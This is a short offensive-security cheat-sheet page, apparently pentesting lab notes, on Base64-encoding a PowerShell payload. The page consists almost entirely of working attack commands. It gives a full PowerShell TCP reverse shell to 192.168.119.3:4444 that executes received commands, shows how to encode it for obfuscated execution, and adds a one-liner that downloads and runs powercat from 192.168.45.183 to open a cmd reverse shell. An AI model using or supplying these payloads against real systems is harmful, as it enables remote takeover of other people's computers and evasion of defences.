# Base64 Encode Payload

## Encoding Payload from Kali

{% code overflow="wrap" %}

```powershell
kali@kali:~$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS> $Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.119.3",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'


PS> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)

PS> $EncodedText =[Convert]::ToBase64String($Bytes)

PS> $EncodedText
JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0
...
AYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA


PS> exit
```

{% endcode %}

TIP: When encoding a payload in powershell, you can escape special characters like quotations by using \` in front of it:

{% code overflow="wrap" %}

```powershell
┌[parrot@harutomo]-[14:29-11/11]-[/home/harutomo/Downloads]
└╼$ $string = "powershell -c `"IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.183/powercat.ps1')`";powercat -c 192.168.45.183 -p 4444 -e cmd"
┌[parrot@harutomo]-[14:31-11/11]-[/home/harutomo/Downloads]
└╼$ $string                                                                     powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.183/powercat.ps1')";powercat -c 192.168.45.183 -p 4444 -e cmd
```

{% endcode %}

##
